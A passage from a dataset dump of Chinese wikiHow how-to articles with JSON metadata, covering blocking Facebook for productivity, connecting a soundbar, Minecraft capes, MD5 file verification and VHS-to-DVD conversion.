设置拦截时间。使用顶部四个菜单选项来设置屏蔽时间表。“Max Time Allowed” 可以让你给所有拦截的网站设定拦截截止的时间。当你设置完该选项之后，你在到期日之前都无法访问拦截的网站。“Active Days”可以设置特定几天对网站进行拦截。“Active Hours”可以设定一天的特定时间段对网站进行拦截。“Daily Reset Time”是用来设置拦截功能的复位时间。
启用并更改“Nuclear Option”。这是最后一项可以提高你的效率的设置了。在默认情况下启用该设置，会在特定时间段屏蔽所有网站，不过你可以对它进行修改，从而只屏蔽特定网站。
添加一项任务。如果你觉得你会想终止拦截，你可以在设置中添加一项任务。设置了任务之后，你需要输入特定的一段话，并且不能有任何拼写错误或格式错误，才可以禁用该插件。
1-4. 使用插件。
当你设置完拦截Facebook的时间表之后，你的插件就启用了。要禁止该插件的使用，你需要变更所有你用来禁止自己访问Facebook所做的设置。不过，最好不要这么做。
给所有浏览器都安装该插件，这样可以阻止你使用别的浏览器浏览Facebook。
2. 创建临时密码
2-1. 选择一个邮箱供应商创建一个新的邮箱账户。
可用的选择有Yahoo，Gmail，Mail.com，Outlook.com等等。
2-2. 变更Facebook的主邮箱。
将新的邮箱账户设置成Facebook的主邮箱。主邮箱是用来接收Facebook发送的有关近期活动和更新信息的邮件。
点击右上角向下的箭头，选择设置。
在通用设置中的邮箱区域，点击编辑链接。
点击“添加另一个邮箱”，然后输入新的邮箱地址。
将新邮箱设置成主邮箱，输入Facebook的密码，然后点击保存更改。
2-3. 设置新密码。
确保新密码复杂到你自己都记不住。你可以在网上搜索“密码生成器”，然后选择生成一个足够复杂、含义模糊的密码。
复制密码，这样你就不需要再输入一遍。这样不仅能保证不输错密码，而且还能不让你记住密码。
2-4. 更换Facebook的密码改成新密码。
从更改邮箱的设置菜单中就可以更换密码。
2-5. 给你的新邮箱设置新的密码。
用新生成的密码作为新邮箱的密码。大多数邮箱供应商都提供了设置界面，在那里你可以更改密码。
2-6. 写一封“定时邮件”。
访问FutureMe、EmailFuture或者Bored.com这样的网站，然后写一封给自己常用邮箱的定时邮件，邮件的内容就是新邮箱的地址和密码。
将邮件的发送日前设定到可以不受影响的使用Facebook的那一天。
2-7. 退出Facebook。
邮件写完之后，你就可以退出Facebook了，这样就不会在访问网站时自动登录账户。同时，确保所有关于新密码的信息都被消除了，并且你也记不起这个密码。
如果你之前将密码粘贴到了剪贴板，那么你需要随便复制点什么，这样才能消除你的电脑对这个密码的“记忆”。
2-8. 工作结束以后，你就可以重新登录Facebook了。
当你收到了定时邮件之后，你就可以登录Facebook并且查看最近一段时间的消息了。你既可以选择保留这个密码继续使用，也可以选择创建一个新的密码。
3. 注销你的账户
3-1. 如果你不想再登录Facebook你可以注销你的账户。
你可以暂时注销你的Facebook账户，这样不会删除你的任何信息，你也可以在任何时间重新激活它。虽然这种方法不能阻止你访问它，但却可以帮助你不再沉迷Facebook。
当你注销你的账户后，你的资料和消息会被网站隐藏起来，这样你也不会被各种通知和消息打扰地不厌其烦。
3-2. 当你想要重回Facebook时你可以重新激活你的账户。
你只需简单地输入你的邮箱地址和通行密码即可立马激活你的账户。而且你的账户可被再次保存起来，信息也不会丢失。
小提示
第一种方法也适用于阻止你访问其他你想屏蔽的网站。
警告
如果你忘记更改后的密码或者邮箱地址的话，你可能无法再进入你的账户。所以慎重操作。
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"create_time": "20230517 11:02:16",
"回答明细": "{\"回答\": \"1. 使用浏览器插件\\n1-1. 下载Firefox或Chrome浏览器。\\n这些浏览器都允许你安装提高其性能的各种插件。你可以下载安装阻止你在特定时间访问特定网站的相应的插件。\\nFirefox和Chrome的下载都是免费的。\\n1-2. 下载一个工作效率拓展包。\\n网上有许多通过屏蔽网站（如Facebook）来提高你工作效率的可用插件。对应于不同的浏览器，常用来安装在Firefox上的插件是LeechBlock，而Chrome的常用插件是StayFocused。\\n\\n 点击Firefox按钮，选择附加组件。在“搜索所有附加组件”栏里输入leechblock。点击搜索结果中出现的LeechBlock右侧的安装按钮。此时LeechBlock将被自动下载并完成安装。接下来重启Firefox浏览器。\\n 点击Chrome的菜单按钮。选择工具→ 拓展程序。然后点击菜单底部的“获取更多拓展程序”链接。在“搜索店内应用”一栏中输入stayfocused。点击插件搜索结果顶部的\\\"+免费\\\"按钮。然后点击确认对话框中的“添加”按钮。\\n1-3. 设置你的拓展插件。\\n当你安装好相应插件后，你需要对其进行设置，包括设置阻拦Facebook网站以及设置在哪些特定的时间段进行屏蔽。依据插件的不同，对其进行设置的过程可能也略有差异。\\n\\n — 点击Firefox菜单并选择附加组件，然后在插件列表中找到LeechBlock，并点击选项按钮。在选项窗口的中间的文本框中添加“www.facebook.com”网站。\\n点击“何时阻拦”选项卡并设置屏蔽时间。时间的设置是以24小时制式为准。你可以将时间设置为网站的封锁在一定的时间后结束，或设置为在一天的特定时间屏蔽网站。或者两者兼而有之。\\n点击“拦截方式”选项卡，并选择在你访问该网站时进行拦截。默认情况下，在Facebook被拦截后页面会自动跳转至LeechBlock通知页面，但是你也可以将跳转页面设置为其它的网页。\\n点击高级选项卡来设置高级选项。其中包括在拦截时间段内禁用LeechBlock选项菜单以及禁止访问Firefox配置菜单。在选择这些选项时，你最好确定自己已了解这样设置的后果（因为在设定的屏蔽时间中你将无法访问并操作选项菜单）\\n添加密码。点击选项窗口顶部的访问控制选项卡来添加LeechBlock的密码。该密码不是为了安全而设，而是为了在你和解除屏蔽设置之间添加一个额外的障碍。这样可以给你更多时间来思考是否确定解除屏蔽。\\n\\n 点击浏览器工具栏里的StayFocused按钮。该图标会在插件安装完成后立刻出现在工具栏里。点击对话框底部的“设置”链接。\\n点击设置页面左侧菜单里的“拦截网站”选项，并在其中添加“www.facebook.com”网站，然后点击“添加拦截网站”按钮。如果你想阻止自己解除StayFocused对Facebook的屏蔽，你可以添加“拦截Chrome附加组件页”到屏蔽网页列表中。\\n设置拦截时间。使用顶部四个菜单选项来设置屏蔽时间表。“Max Time Allowed” 可以让你给所有拦截的网站设定拦截截止的时间。当你设置完该选项之后，你在到期日之前都无法访问拦截的网站。“Active Days”可以设置特定几天对网站进行拦截。“Active Hours”可以设定一天的特定时间段对网站进行拦截。“Daily Reset Time”是用来设置拦截功能的复位时间。\\n启用并更改“Nuclear Option”。这是最后一项可以提高你的效率的设置了。在默认情况下启用该设置，会在特定时间段屏蔽所有网站，不过你可以对它进行修改，从而只屏蔽特定网站。\\n添加一项任务。如果你觉得你会想终止拦截，你可以在设置中添加一项任务。设置了任务之后，你需要输入特定的一段话，并且不能有任何拼写错误或格式错误，才可以禁用该插件。\\n1-4. 使用插件。\\n当你设置完拦截Facebook的时间表之后，你的插件就启用了。要禁止该插件的使用，你需要变更所有你用来禁止自己访问Facebook所做的设置。不过，最好不要这么做。\\n给所有浏览器都安装该插件，这样可以阻止你使用别的浏览器浏览Facebook。\\n2. 创建临时密码\\n2-1. 选择一个邮箱供应商创建一个新的邮箱账户。\\n可用的选择有Yahoo，Gmail，Mail.com，Outlook.com等等。\\n2-2. 变更Facebook的主邮箱。\\n将新的邮箱账户设置成Facebook的主邮箱。主邮箱是用来接收Facebook发送的有关近期活动和更新信息的邮件。\\n点击右上角向下的箭头，选择设置。\\n在通用设置中的邮箱区域，点击编辑链接。\\n点击“添加另一个邮箱”，然后输入新的邮箱地址。\\n将新邮箱设置成主邮箱，输入Facebook的密码，然后点击保存更改。\\n2-3. 设置新密码。\\n确保新密码复杂到你自己都记不住。你可以在网上搜索“密码生成器”，然后选择生成一个足够复杂、含义模糊的密码。\\n复制密码，这样你就不需要再输入一遍。这样不仅能保证不输错密码，而且还能不让你记住密码。\\n2-4. 更换Facebook的密码改成新密码。\\n从更改邮箱的设置菜单中就可以更换密码。\\n2-5. 给你的新邮箱设置新的密码。\\n用新生成的密码作为新邮箱的密码。大多数邮箱供应商都提供了设置界面，在那里你可以更改密码。\\n2-6. 写一封“定时邮件”。\\n访问FutureMe、EmailFuture或者Bored.com这样的网站，然后写一封给自己常用邮箱的定时邮件，邮件的内容就是新邮箱的地址和密码。\\n将邮件的发送日前设定到可以不受影响的使用Facebook的那一天。\\n2-7. 退出Facebook。\\n邮件写完之后，你就可以退出Facebook了，这样就不会在访问网站时自动登录账户。同时，确保所有关于新密码的信息都被消除了，并且你也记不起这个密码。\\n如果你之前将密码粘贴到了剪贴板，那么你需要随便复制点什么，这样才能消除你的电脑对这个密码的“记忆”。\\n2-8. 工作结束以后，你就可以重新登录Facebook了。\\n当你收到了定时邮件之后，你就可以登录Facebook并且查看最近一段时间的消息了。你既可以选择保留这个密码继续使用，也可以选择创建一个新的密码。\\n3. 注销你的账户\\n3-1. 如果你不想再登录Facebook你可以注销你的账户。\\n你可以暂时注销你的Facebook账户，这样不会删除你的任何信息，你也可以在任何时间重新激活它。虽然这种方法不能阻止你访问它，但却可以帮助你不再沉迷Facebook。\\n当你注销你的账户后，你的资料和消息会被网站隐藏起来，这样你也不会被各种通知和消息打扰地不厌其烦。\\n3-2. 当你想要重回Facebook时你可以重新激活你的账户。\\n你只需简单地输入你的邮箱地址和通行密码即可立马激活你的账户。而且你的账户可被再次保存起来，信息也不会丢失。\\n小提示\\n第一种方法也适用于阻止你访问其他你想屏蔽的网站。\\n警告\\n如果你忘记更改后的密码或者邮箱地址的话，你可能无法再进入你的账户。所以慎重操作。\\n\", \"简要回答\": \"在Facebook网页上闲逛的时间是否严重占用了你的工作时间，并且极大地影响了你的工作效率？如果沉迷于Facebook让你本身处于失业的风险中，那么你最好采取一些措施。在工作时间屏蔽Facebook账户的方法有很多种。赶紧阅读下文学习吧。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用浏览器插件\", \"步骤\": [{\"编号\": 1, \"标题\": \"下载Firefox或Chrome浏览器。\", \"描述\": \"这些浏览器都允许你安装提高其性能的各种插件。你可以下载安装阻止你在特定时间访问特定网站的相应的插件。\\nFirefox和Chrome的下载都是免费的。\"}, {\"编号\": 2, \"标题\": \"下载一个工作效率拓展包。\", \"描述\": \"网上有许多通过屏蔽网站（如Facebook）来提高你工作效率的可用插件。对应于不同的浏览器，常用来安装在Firefox上的插件是LeechBlock，而Chrome的常用插件是StayFocused。\\n\\n 点击Firefox按钮，选择附加组件。在“搜索所有附加组件”栏里输入leechblock。点击搜索结果中出现的LeechBlock右侧的安装按钮。此时LeechBlock将被自动下载并完成安装。接下来重启Firefox浏览器。\\n 点击Chrome的菜单按钮。选择工具→ 拓展程序。然后点击菜单底部的“获取更多拓展程序”链接。在“搜索店内应用”一栏中输入stayfocused。点击插件搜索结果顶部的\\\"+免费\\\"按钮。然后点击确认对话框中的“添加”按钮。\"}, {\"编号\": 3, \"标题\": \"设置你的拓展插件。\", \"描述\": \"当你安装好相应插件后，你需要对其进行设置，包括设置阻拦Facebook网站以及设置在哪些特定的时间段进行屏蔽。依据插件的不同，对其进行设置的过程可能也略有差异。\\n\\n — 点击Firefox菜单并选择附加组件，然后在插件列表中找到LeechBlock，并点击选项按钮。在选项窗口的中间的文本框中添加“www.facebook.com”网站。\\n点击“何时阻拦”选项卡并设置屏蔽时间。时间的设置是以24小时制式为准。你可以将时间设置为网站的封锁在一定的时间后结束，或设置为在一天的特定时间屏蔽网站。或者两者兼而有之。\\n点击“拦截方式”选项卡，并选择在你访问该网站时进行拦截。默认情况下，在Facebook被拦截后页面会自动跳转至LeechBlock通知页面，但是你也可以将跳转页面设置为其它的网页。\\n点击高级选项卡来设置高级选项。其中包括在拦截时间段内禁用LeechBlock选项菜单以及禁止访问Firefox配置菜单。在选择这些选项时，你最好确定自己已了解这样设置的后果（因为在设定的屏蔽时间中你将无法访问并操作选项菜单）\\n添加密码。点击选项窗口顶部的访问控制选项卡来添加LeechBlock的密码。该密码不是为了安全而设，而是为了在你和解除屏蔽设置之间添加一个额外的障碍。这样可以给你更多时间来思考是否确定解除屏蔽。\\n\\n 点击浏览器工具栏里的StayFocused按钮。该图标会在插件安装完成后立刻出现在工具栏里。点击对话框底部的“设置”链接。\\n点击设置页面左侧菜单里的“拦截网站”选项，并在其中添加“www.facebook.com”网站，然后点击“添加拦截网站”按钮。如果你想阻止自己解除StayFocused对Facebook的屏蔽，你可以添加“拦截Chrome附加组件页”到屏蔽网页列表中。\\n设置拦截时间。使用顶部四个菜单选项来设置屏蔽时间表。“Max Time Allowed” 可以让你给所有拦截的网站设定拦截截止的时间。当你设置完该选项之后，你在到期日之前都无法访问拦截的网站。“Active Days”可以设置特定几天对网站进行拦截。“Active Hours”可以设定一天的特定时间段对网站进行拦截。“Daily Reset Time”是用来设置拦截功能的复位时间。\\n启用并更改“Nuclear Option”。这是最后一项可以提高你的效率的设置了。在默认情况下启用该设置，会在特定时间段屏蔽所有网站，不过你可以对它进行修改，从而只屏蔽特定网站。\\n添加一项任务。如果你觉得你会想终止拦截，你可以在设置中添加一项任务。设置了任务之后，你需要输入特定的一段话，并且不能有任何拼写错误或格式错误，才可以禁用该插件。\"}, {\"编号\": 4, \"标题\": \"使用插件。\", \"描述\": \"当你设置完拦截Facebook的时间表之后，你的插件就启用了。要禁止该插件的使用，你需要变更所有你用来禁止自己访问Facebook所做的设置。不过，最好不要这么做。\\n给所有浏览器都安装该插件，这样可以阻止你使用别的浏览器浏览Facebook。\"}]}, {\"编号\": 2, \"标题\": \"创建临时密码\", \"步骤\": [{\"编号\": 1, \"标题\": \"选择一个邮箱供应商创建一个新的邮箱账户。\", \"描述\": \"可用的选择有Yahoo，Gmail，Mail.com，Outlook.com等等。\"}, {\"编号\": 2, \"标题\": \"变更Facebook的主邮箱。\", \"描述\": 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"问题明细": "",
"扩展字段": ""
} | wikihow |
14,705 | 如何将条形音箱连接到电脑 | 1. 使用蓝牙（无线）
1-1. 打开条形音箱的电源。
如果是电池供电，那就插入电池，然后按电源键。
如果需要外接电源，那就把插头插入墙上的电源插座或接线板，然后按电源键。
1-2. 将条形音箱设为配对模式。
不同的型号有不同的设置方法，大多都是按音箱上的某个按钮，让音箱能被电脑发现。
查看当前型号的说明书，其中有具体的设置步骤。
某些条形音箱会自动进入配对模式。
1-3. 打开Windows 10的“操作中心”。
它位于屏幕底部的任务栏中，在时钟的右侧，图标是一个方形的聊天气泡。图标上可能会显示一个数字。
1-4. 打开蓝牙。
找到“蓝牙”磁贴，它的图标看起来就像一个侧过来的领结。
如果磁贴是蓝色并显示“未连接”，或显示已连接的设备名称，那就说明蓝牙已开启。
如果磁贴是灰色并显示“蓝牙”，单击它以开启蓝牙。
1-5. 单击“操作中心”中的连接磁贴。
图标是一个电脑屏幕和扬声器。随后Windows会扫描设备。
1-6. 单击出现的条形音箱。
随后就能与电脑进行连接。连接后，所有声音都会通过条形音箱播放。
配对成功后，只要音箱在连接范围内，电脑就会自动连接。
2. 使用AUX线
2-1. 打开条形音箱的电源。
如果是电池供电，那就插入电池，然后按电源键。
如果需要外接电源，那就将插头插入墙上的电源插座或接线板，然后按电源键。
2-2. 将AUX线的一端插入电脑上的音频插口。
将3.5mm接头插入带有耳机图标的插口，它通常位于笔记本电脑键盘的侧面，或台式机机箱的正面。
2-3. 将线的另一端插入条形音箱。
插口的位置取决于设备，通常标有“AUX”字样。连接后，Windows会自动使用条形音箱播放声音。
3. 使用光纤音频（Toslink）线
3-1. 打开条形音箱的电源。
如果是电池供电，那就插入电池，然后按电源键。
如果需要外接电源，那就将插头插入墙上的电源插座或接线板，然后按电源键。
3-2. 将Toslink线的一端插入条形音箱。
如果音箱上有Toslink（也称为光纤音频）插口，就可以使用光纤线来连接电脑。插口上通常标有“Toslink”或“OPTICAL”。
Toslink是一种标准的光纤音频线，通常用于连接家庭影院系统和数字电子设备，例如DVD播放机。
3-3. 将线的另一端插入电脑。
插口上通常标有“Toslink”、“OPTICAL”或“DIGITAL AUDIO OUT”。如果是台式机，它通常位于机箱背面。如果是笔记本电脑， 它通常位于侧面。连接后，电脑会通过条形音箱播放所有声音。
某些轻薄本可能没有TOSLINK插口。
| {
"create_time": "20230517 11:02:16",
"回答明细": "{\"回答\": \"1. 使用蓝牙（无线）\\n1-1. 打开条形音箱的电源。\\n如果是电池供电，那就插入电池，然后按电源键。\\n如果需要外接电源，那就把插头插入墙上的电源插座或接线板，然后按电源键。\\n1-2. 将条形音箱设为配对模式。\\n不同的型号有不同的设置方法，大多都是按音箱上的某个按钮，让音箱能被电脑发现。\\n查看当前型号的说明书，其中有具体的设置步骤。\\n某些条形音箱会自动进入配对模式。\\n1-3. 打开Windows 10的“操作中心”。\\n它位于屏幕底部的任务栏中，在时钟的右侧，图标是一个方形的聊天气泡。图标上可能会显示一个数字。\\n1-4. 打开蓝牙。\\n找到“蓝牙”磁贴，它的图标看起来就像一个侧过来的领结。\\n如果磁贴是蓝色并显示“未连接”，或显示已连接的设备名称，那就说明蓝牙已开启。\\n如果磁贴是灰色并显示“蓝牙”，单击它以开启蓝牙。\\n1-5. 单击“操作中心”中的连接磁贴。\\n图标是一个电脑屏幕和扬声器。随后Windows会扫描设备。\\n1-6. 单击出现的条形音箱。\\n随后就能与电脑进行连接。连接后，所有声音都会通过条形音箱播放。\\n配对成功后，只要音箱在连接范围内，电脑就会自动连接。\\n2. 使用AUX线\\n2-1. 打开条形音箱的电源。\\n如果是电池供电，那就插入电池，然后按电源键。\\n如果需要外接电源，那就将插头插入墙上的电源插座或接线板，然后按电源键。\\n2-2. 将AUX线的一端插入电脑上的音频插口。\\n将3.5mm接头插入带有耳机图标的插口，它通常位于笔记本电脑键盘的侧面，或台式机机箱的正面。\\n2-3. 将线的另一端插入条形音箱。\\n插口的位置取决于设备，通常标有“AUX”字样。连接后，Windows会自动使用条形音箱播放声音。\\n3. 使用光纤音频（Toslink）线\\n3-1. 打开条形音箱的电源。\\n如果是电池供电，那就插入电池，然后按电源键。\\n如果需要外接电源，那就将插头插入墙上的电源插座或接线板，然后按电源键。\\n3-2. 将Toslink线的一端插入条形音箱。\\n如果音箱上有Toslink（也称为光纤音频）插口，就可以使用光纤线来连接电脑。插口上通常标有“Toslink”或“OPTICAL”。\\nToslink是一种标准的光纤音频线，通常用于连接家庭影院系统和数字电子设备，例如DVD播放机。\\n3-3. 将线的另一端插入电脑。\\n插口上通常标有“Toslink”、“OPTICAL”或“DIGITAL AUDIO OUT”。如果是台式机，它通常位于机箱背面。如果是笔记本电脑， 它通常位于侧面。连接后，电脑会通过条形音箱播放所有声音。\\n某些轻薄本可能没有TOSLINK插口。\\n\", \"简要回答\": \"本指南介绍如何将条形音箱连接到Windows电脑。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用蓝牙（无线）\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开条形音箱的电源。\", \"描述\": \"如果是电池供电，那就插入电池，然后按电源键。\\n如果需要外接电源，那就把插头插入墙上的电源插座或接线板，然后按电源键。\"}, {\"编号\": 2, \"标题\": \"将条形音箱设为配对模式。\", \"描述\": \"不同的型号有不同的设置方法，大多都是按音箱上的某个按钮，让音箱能被电脑发现。\\n查看当前型号的说明书，其中有具体的设置步骤。\\n某些条形音箱会自动进入配对模式。\"}, {\"编号\": 3, \"标题\": \"打开Windows 10的“操作中心”。\", \"描述\": \"它位于屏幕底部的任务栏中，在时钟的右侧，图标是一个方形的聊天气泡。图标上可能会显示一个数字。\"}, {\"编号\": 4, \"标题\": \"打开蓝牙。\", \"描述\": \"找到“蓝牙”磁贴，它的图标看起来就像一个侧过来的领结。\\n如果磁贴是蓝色并显示“未连接”，或显示已连接的设备名称，那就说明蓝牙已开启。\\n如果磁贴是灰色并显示“蓝牙”，单击它以开启蓝牙。\"}, {\"编号\": 5, \"标题\": \"单击“操作中心”中的连接磁贴。\", \"描述\": \"图标是一个电脑屏幕和扬声器。随后Windows会扫描设备。\"}, {\"编号\": 6, \"标题\": \"单击出现的条形音箱。\", \"描述\": \"随后就能与电脑进行连接。连接后，所有声音都会通过条形音箱播放。\\n配对成功后，只要音箱在连接范围内，电脑就会自动连接。\"}]}, {\"编号\": 2, \"标题\": \"使用AUX线\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开条形音箱的电源。\", \"描述\": \"如果是电池供电，那就插入电池，然后按电源键。\\n如果需要外接电源，那就将插头插入墙上的电源插座或接线板，然后按电源键。\"}, {\"编号\": 2, \"标题\": \"将AUX线的一端插入电脑上的音频插口。\", \"描述\": \"将3.5mm接头插入带有耳机图标的插口，它通常位于笔记本电脑键盘的侧面，或台式机机箱的正面。\"}, {\"编号\": 3, \"标题\": \"将线的另一端插入条形音箱。\", \"描述\": \"插口的位置取决于设备，通常标有“AUX”字样。连接后，Windows会自动使用条形音箱播放声音。\"}]}, {\"编号\": 3, \"标题\": \"使用光纤音频（Toslink）线\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开条形音箱的电源。\", \"描述\": \"如果是电池供电，那就插入电池，然后按电源键。\\n如果需要外接电源，那就将插头插入墙上的电源插座或接线板，然后按电源键。\"}, {\"编号\": 2, \"标题\": \"将Toslink线的一端插入条形音箱。\", \"描述\": \"如果音箱上有Toslink（也称为光纤音频）插口，就可以使用光纤线来连接电脑。插口上通常标有“Toslink”或“OPTICAL”。\\nToslink是一种标准的光纤音频线，通常用于连接家庭影院系统和数字电子设备，例如DVD播放机。\"}, {\"编号\": 3, \"标题\": \"将线的另一端插入电脑。\", \"描述\": \"插口上通常标有“Toslink”、“OPTICAL”或“DIGITAL AUDIO OUT”。如果是台式机，它通常位于机箱背面。如果是笔记本电脑， 它通常位于侧面。连接后，电脑会通过条形音箱播放所有声音。\\n某些轻薄本可能没有TOSLINK插口。\"}]}]}}",
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} | wikihow |
14,706 | 如何在Minecraft中获得一件斗篷 | 1. 参加集会
1-1. 参加官方组织的活动，比如Minecon展览。
1-2. 报名参加。
1-3. 等待官方的回信。
回信中会有一个兑换码，你可以在游戏中使用它兑换一件斗篷。
2. 斗篷Mod
2-1. 打开浏览器，前往mccapes.com
2-2. 在页面顶部输入你的游戏用户名。
2-3. 创建密码。
2-4. 点击Cape Gallery（斗篷展示）。
2-5. 挑选你喜欢的斗篷。
2-6. 选中斗篷，然后在下一个窗口中点击“use this cape（使用这个斗篷）”。
2-7. 在最上方的框中打上对勾，点击“Save option（保存选项）”。
2-8. 点击斗篷的图标。
2-9. 点击“download now（立即下载）”。
2-10. 选择“Extras Mod（附加Mod）”。
2-11. 看完广告之后，保存文件。
2-12. 在mccapes.com/instructions中查看关于你的电脑和游戏版本的说明。
2-13. 完成上述步骤后，打开游戏，你就能看到你的斗篷了。
小提示
任何询问你的用户名和密码的人，都可能是盗号者。
除了MCCapes以外，还有别的斗篷Mod可以使用，如果它没有效果，你可以试试别的。
| {
"create_time": "20230517 11:02:16",
"回答明细": "{\"回答\": \"1. 参加集会\\n1-1. 参加官方组织的活动，比如Minecon展览。\\n\\n1-2. 报名参加。\\n\\n1-3. 等待官方的回信。\\n回信中会有一个兑换码，你可以在游戏中使用它兑换一件斗篷。\\n2. 斗篷Mod\\n2-1. 打开浏览器，前往mccapes.com\\n\\n\\n2-2. 在页面顶部输入你的游戏用户名。\\n\\n2-3. 创建密码。\\n\\n2-4. 点击Cape Gallery（斗篷展示）。\\n\\n2-5. 挑选你喜欢的斗篷。\\n\\n2-6. 选中斗篷，然后在下一个窗口中点击“use this cape（使用这个斗篷）”。\\n\\n2-7. 在最上方的框中打上对勾，点击“Save option（保存选项）”。\\n\\n2-8. 点击斗篷的图标。\\n\\n2-9. 点击“download now（立即下载）”。\\n\\n2-10. 选择“Extras Mod（附加Mod）”。\\n\\n2-11. 看完广告之后，保存文件。\\n\\n2-12. 在mccapes.com/instructions中查看关于你的电脑和游戏版本的说明。\\n\\n2-13. 完成上述步骤后，打开游戏，你就能看到你的斗篷了。\\n\\n小提示\\n任何询问你的用户名和密码的人，都可能是盗号者。\\n除了MCCapes以外，还有别的斗篷Mod可以使用，如果它没有效果，你可以试试别的。\\n\", \"简要回答\": \"《我的世界》中，斗篷是人物背后的一层“布”，它会和你的人物一起动。获得斗篷的官方途径有两种，一是由Mojang直接发放给你，另一种是参加Minecon展览或者其他官方组织的特别活动。尽管如此，你还是可以通过安装Mod获得斗篷，如果别的玩家装有和你一样的Mod，那么他就能看到你的斗篷。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"参加集会\", \"步骤\": [{\"编号\": 1, \"标题\": \"参加官方组织的活动，比如Minecon展览。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"报名参加。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"等待官方的回信。\", \"描述\": \"回信中会有一个兑换码，你可以在游戏中使用它兑换一件斗篷。\"}]}, {\"编号\": 2, \"标题\": \"斗篷Mod\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开浏览器，前往mccapes.com\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"在页面顶部输入你的游戏用户名。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"创建密码。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击Cape Gallery（斗篷展示）。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"挑选你喜欢的斗篷。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"选中斗篷，然后在下一个窗口中点击“use this cape（使用这个斗篷）”。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"在最上方的框中打上对勾，点击“Save option（保存选项）”。\", \"描述\": \"\"}, {\"编号\": 8, \"标题\": \"点击斗篷的图标。\", \"描述\": \"\"}, {\"编号\": 9, \"标题\": \"点击“download now（立即下载）”。\", \"描述\": \"\"}, {\"编号\": 10, \"标题\": \"选择“Extras Mod（附加Mod）”。\", \"描述\": \"\"}, {\"编号\": 11, \"标题\": \"看完广告之后，保存文件。\", \"描述\": \"\"}, {\"编号\": 12, \"标题\": \"在mccapes.com/instructions中查看关于你的电脑和游戏版本的说明。\", \"描述\": \"\"}, {\"编号\": 13, \"标题\": \"完成上述步骤后，打开游戏，你就能看到你的斗篷了。\", \"描述\": \"\"}], \"小提示\": [\"任何询问你的用户名和密码的人，都可能是盗号者。\\n\", \"除了MCCapes以外，还有别的斗篷Mod可以使用，如果它没有效果，你可以试试别的。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,707 | 如何利用MD5校验码检查电子文档的完整性 | 1. 步骤
1-1. 下载Md5检验工具：Md5 Checker，文件名为Md5CheckerCn.zip，将其下载到PC中。
1-2. 将下载的zip文件解压，得到2个文件。
Md5CheckerCn.exe和CHECKSUM.md5。
1-3. 双击Md5CheckerCn.exe，启动Md5Checker工具。
1-4. 将上述的2个文件拖拽到Md5Checker工具画面上。
1-5. 查看行首显示的验证结果，绿色的合格符号代表文档完整无误，红色的错误符号代表文档不正确，需要重新下载，不能执行安装。
小提示
此工具也可以用来计算MD5验证码，用于发送文件给他人时检验文件的完整性。
此工具可以同时检验多个文件的完整性
| {
"create_time": "20230517 11:02:17",
"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 下载Md5检验工具：Md5 Checker，文件名为Md5CheckerCn.zip，将其下载到PC中。\\n\\n1-2. 将下载的zip文件解压，得到2个文件。\\nMd5CheckerCn.exe和CHECKSUM.md5。\\n1-3. 双击Md5CheckerCn.exe，启动Md5Checker工具。\\n\\n1-4. 将上述的2个文件拖拽到Md5Checker工具画面上。\\n\\n1-5. 查看行首显示的验证结果，绿色的合格符号代表文档完整无误，红色的错误符号代表文档不正确，需要重新下载，不能执行安装。\\n\\n小提示\\n此工具也可以用来计算MD5验证码，用于发送文件给他人时检验文件的完整性。\\n此工具可以同时检验多个文件的完整性\\n\", \"简要回答\": \"在互联网上有很多免费的软件提供给大家下载使用，但是又担心被人恶意篡改，造成病毒感染或者个人信息丢失，更严重的是银行账户被盗造成金钱损失。因此需要采取一定的措施检查下载的文件的完整性，通常开源软件提供了下载文件的MD5代码，本文说明具体的验证方法。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"下载Md5检验工具：Md5 Checker，文件名为Md5CheckerCn.zip，将其下载到PC中。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"将下载的zip文件解压，得到2个文件。\", \"描述\": \"Md5CheckerCn.exe和CHECKSUM.md5。\"}, {\"编号\": 3, \"标题\": \"双击Md5CheckerCn.exe，启动Md5Checker工具。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"将上述的2个文件拖拽到Md5Checker工具画面上。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"查看行首显示的验证结果，绿色的合格符号代表文档完整无误，红色的错误符号代表文档不正确，需要重新下载，不能执行安装。\", \"描述\": \"\"}], \"小提示\": [\"此工具也可以用来计算MD5验证码，用于发送文件给他人时检验文件的完整性。\\n\", \"此工具可以同时检验多个文件的完整性\\n\"]}]}}",
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14,708 | 如何将VHS录像带转到DVD或其他数码格式 | 1. 使用模拟到数字适配器
1-1. 选择一个模拟到数码转换器。
通常$ 50 - $ 100美元就可以买到。流行的型号包括：
Elgato公司的 Video Capture
Roxio的 Easy VHS to DVD
Diamond VC500
1-2. 将适配器连接到VHS播放器和计算机。
适配器的作用基本上是连接VHS播放机到计算机或笔记本电脑。通常一端有A / V电缆（红色，黄色和白色的电缆用于连接VHS播放机与一台电视机），另一端有一个USB端口。
1-3. 安装适配器的软件。
如果您的设备附带安装光盘插入光盘并按照指示进行。
或者，您可以下载并安装任意数量具有更多功能的免费应用程序。如果您购买二手适配器没有附带软件，这是一个很好的选择。 VirtualDub是一套免费开源的视频采集和编辑程序。 HuffYUV是另一个免费高速保真视频编解码器。
1-4. 打开计算机上的应用程序。
将VHS录像带快进或倒带到您想录制的视频部分。通常会要求“开始一个新文件” 。将它命名如“视频节目1” ，并从文件菜单中选择您的格式。
如果您使用的是开源软件，需要从录制设备列表中选择您的设备。
